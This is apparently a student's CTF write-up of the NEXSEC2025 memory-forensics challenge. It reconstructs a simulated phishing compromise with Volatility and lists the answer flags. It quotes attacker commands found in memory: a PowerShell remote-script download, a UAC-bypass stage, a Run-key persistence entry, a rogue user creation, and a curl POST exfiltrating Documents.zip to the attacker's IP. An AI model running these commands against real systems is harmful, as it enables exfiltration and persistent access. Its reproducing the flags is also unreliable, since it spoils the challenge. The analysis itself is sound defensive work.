Challenge:

Recover the encrypted document and obtain the encrypted flag contained within it.

We first get by using bruteforcing the XOR keys, that’s why we solve this one first before OhMyFiles #8. But supposedly we can dump by the registery

Flag: nexsec2025{sh4d0w_crypt_m4st3r_2025}

MEMOIR (Initial Discovery)

Challenge:

MEMOIR (Initial Discovery) An employee at Berjaya Company appears to have been compromised, and the circumstances remain unclear. We now need your expertise to analyze the acquired memory snapshot and uncover the incidents that unfolded behind the scenes.

SHA256: bade0f98f48c5bdd15eb8cfcb91b8d56bc162e950ab93c0933f4e2b111aef5a4

File (if, any): https://shorturl.at/ISZs4

Memory Dump Info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Volatility 3 Framework 2.11.0
Variable	Value
Kernel Base	0xf80003e00000
DTB	0x1ad000
Symbols	file:///C:/Users/hzqzz/Downloads/VolatilityWorkbench/symbols/windows/ntkrnlmp.pdb/F57E740B088E5056E8AF0772F1CC5BEB-1.json.xz
Is64Bit	True
IsPAE	False
layer_name	0 WindowsIntel32e

memory_layer	1 FileLayer
KdVersionBlock	0xf80004a0f400
Major/Minor	15.19041
MachineType	34404
KeNumberProcessors	2
SystemTime	2025-12-11 20:07:44+00:00
NtSystemRoot	C:\Windows
NtProductType	NtProductWinNt
NtMajorVersion	10
NtMinorVersion	0
PE MajorOperatingSystemVersion	10
PE MinorOperatingSystemVersion	0
PE Machine	34404
PE TimeDateStamp	Sat Feb  2 23:04:03 1985

Forensic analysis:

Time (UTC)What happenedEvidence
2025-12-11 10:27:24Credential dumping tool present: C:\Users\azman\AppData\Local\Temp\mk.exeAmcache recorded Mimikatz
12:17:04Suspicious binary in Temp: C:\Users\azman\AppData\Local\Temp\svchost.exeAmcache recorded svchost[.]exe from Temp directory
19:38:44System boot / baseline processes startpsscan shows System (PID 4) created at 19:38:44 UTC
19:39:55RDP session active (host listening on 3389, remote client connected)netstat shows 192.168.8.34:3389 ↔ 100.96.0.16:54023 ESTABLISHED
19:47:19Thunderbird process starts (mail client active)psscan: thunderbird.ex PID 1000 created 19:47:19
19:47:54Thunderbird internal localhost connections (normal IPC/loopback)netstat: 127.0.0.1 loopback connections for thunderbird
19:52:36WINWORD opens Jemputan_Bengkel_Strategik[.]docxpstree: WINWORD.EXE (PID 4784) with that file in command line
19:55:11WINWORD spawns cmd.exe that launches PowerShell to fetch remote scriptpstree: cmd.exe PID 7240 runs powershell … DownloadString(‘hxxps[://]raw[.]githubusercontent[.]com/kimmisuuki/AppleSeed/refs/heads/main/cat[.]ps1’)
19:55:12powershell.exe executes the downloaded script (cat.ps1)pstree: powershell PID 6112 with same DownloadString command
19:55:32PowerShell makes HTTPS connection to 185.199.108.133:443netscan: powershell PID 6112 → 185.199.108.133:443
19:55:42PowerShell establishes C2-looking connection to 188.166.181.254:443netstat: powershell PID 6112 → 188.166.181.254:443 ESTABLISHED
20:01:27Another cmd.exe → powershell -nop -e (base64) (2nd-stage execution)pstree: cmd PID 5936 runs powershell.exe -nop -e
20:01:27The base64 decodes to: Set-ExecutionPolicy Bypass -Scope CurrentUser; C:\Windows\Tasks\EventViewerRCE[.]ps1Same command line blob in pstree
20:01:28PowerShell maintains/creates another connection to 188.166.181.254:443netstat: powershell PID 3968 → 188.166.181.254:443
20:05:43net1[.]exe executedpstree: net1.exe PID 7512 created/exited at 20:05:43
20:06:32team[.]exe launched from Temppstree: C:\Users\azman\AppData\Local\Temp\team.exe (PID 3368)
20:06:33team[.]exe establishes outbound to 188.166.181.254:8000 (likely C2/RAT channel)netstat: team.exe PID 3368 → 188.166.181.254:8000 ESTABLISHED
20:06:42–20:06:43team.exe spawns cmd.exe + conhostpstree: cmd PID 2712 + conhost PID 6284 under team.exe
20:08:47Thunderbird connects to mail server (POP3S 995)netstat: thunderbird → 74.125.130.108:995

Root Cause Analysis:

  1. Root cause was potentially caused by a phishing email
  2. Thunderbird was launched with a saved email file on the Desktop C:\Users\azman\Desktop\Jemputan Bengkel[.]eml
  3. Microsoft Word opened the DOCX from Downloads C:\Users\azman\Downloads\Jemputan_Bengkel_Strategik[.]docx which was the initial trigger
  4. Microsoft Word spawn cmd[.]exe
  5. Powershell pulls cat[.]ps1 from Github hxxps[://]raw[.]githubusercontent[.]com/kimmisuuki/AppleSeed/refs/heads/main/cat[.]ps1
  6. PowerShell establishes outbound connection to 188.166.181.254:443
  7. C:\Users\azman\AppData\Local\Temp\team[.]exe connects to 188.166.181.254:8000
  8. A second-stage command uses base64 to run C:\Windows\Tasks\EventViewerRCE[.]ps1

MEMOIR #1

Challenge:

What is the full filename of the malicious file that was opened?

“C:\Users\azman\Downloads\Jemputan_Bengkel_Strategik.docx” was opened by WINWORD.EXE at PID 4784 and right after that one suspicious powershell command being executed

Flag: NEXSEC25{Jemputan_Bengkel_Strategik.docx}

MEMOIR #2

Question: What is the IP address of the primary C2 server?

From the previous cmdline process, team.exe (PID 3368) and powershell.exe (PID 6112), using netScan process, have the same ESTABLISHED connection to 188[.]166[.]181[.]254[:]8000

Flag: NEXSEC25{188.166.181.254}

MEMOIR #3

Challenge:

What is the GitHub username hosting the malware repository?

Extracted PowerShell command line from memory and identified the GitHub repository URL: hxxps://raw.githubusercontent.com/kimmisuuki/AppleSeed/refs/heads/main/cat.ps1

Flag: NEXSEC25{kimmisuuki}

MEMOIR #4

Challenge:

What is the SHA1 hash of the credential dumping executable found in memory?

Identified the credential dumping tool as Mimikatz that located at: C:\Users\azman\AppData\Local\Temp\mk.exe and retrieved SHA1 hash from Amcache analysis

Flag: NEXSEC25{d1f7832035c3e8a73cc78afd28cfd7f4cece6d20}

MEMOIR #5

Challenge:

What PowerShell script filename was used for the UAC bypass technique?

  • Decoded base64 PowerShell command:
    1
    2
    
    Set-ExecutionPolicy Bypass -Scope CurrentUser;
    C:\Windows\Tasks\EventViewerRCE.ps1
    
  • This technique exploits Event Viewer for UAC bypass

Flag: NEXSEC25{EventViewerRCE.ps1}

MEMOIR #6

Challenge:

What is the SHA1 hash of the backdoor?

Identified backdoor as team.exe. Established outbound connection to 188.166.181.254:8000. Spawned command prompt for attacker control. Retrieved SHA1 from Amcache

Flag: NEXSEC25{255d932fa4418ac11b384b125a7d7d91f8eb28f4}

MEMOIR #7

Challenge:

What is the key value name used for persistence?

Dumped memory and searched for team.exe strings and found PowerShell command creating registry persistence:

1
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "selamat" -Value "C:\Users\azman\AppData\Local\Temp\team.exe"

image

The registry value name “selamat” ensures the malware runs on startup

Flag: NEXSEC25{selamat}

MEMOIR #8

Challenge:

What are the credentials of the newly created user account? example : NEXSEC25{username:password}

Dumped PowerShell process (PID 3076) to extract transcript logs

1
vol -f memdump.mem -o dumped/pid3076_dumpfiles windows.dumpfiles --pid 3076

Change the extension from .dat to .txt and we can find that the command net user fakhri admin123 /add is the first one to be executed

Found user creation command:

net user fakhri admin123 /add

image

Flag: NEXSEC25{fakhri:admin123}

MEMOIR #9

Challenge:

What was the name of the archive file that was exfiltrated? example : NEXSEC25{filename.ext}

Used the same PowerShell transcript from MEMOIR #8 and find attacker compressing user’s Documents folder:

image

1
Compress-Archive -Path "C:\Users\azman\Documents" -DestinationPath "Documents.zip"

Found exfiltration command:

image

1
curl -X POST -F "file=@Documents.zip" http://188.166.181.254/upload

From that we can conclude that Documents.zip is the name of the archive file that was exfiltrated

Flag: NEXSEC25{Documents.zip}

Yap-yap-yap

Just normal yap, ignore this!!

The NEXSEC2025 Intervarsity Cyber Forensics Challenge was an excellent opportunity to apply digital forensics and incident response skills in realistic scenarios. The challenges covered the complete attack lifecycle from initial compromise through data exfiltration, requiring a combination of memory forensics, malware analysis, and network analysis skills. Thanks to the organizers NetByteSec and MCMC for these great questions and really well-organized event! I did take part as a committee member for the final stage first day as I’m currently an intern with NetByteSec. I was soooo jealous I couldn’t take part in the final stage because the questions and challenges were sooo DOPE!

This post is licensed under CC BY 4.0 by the author.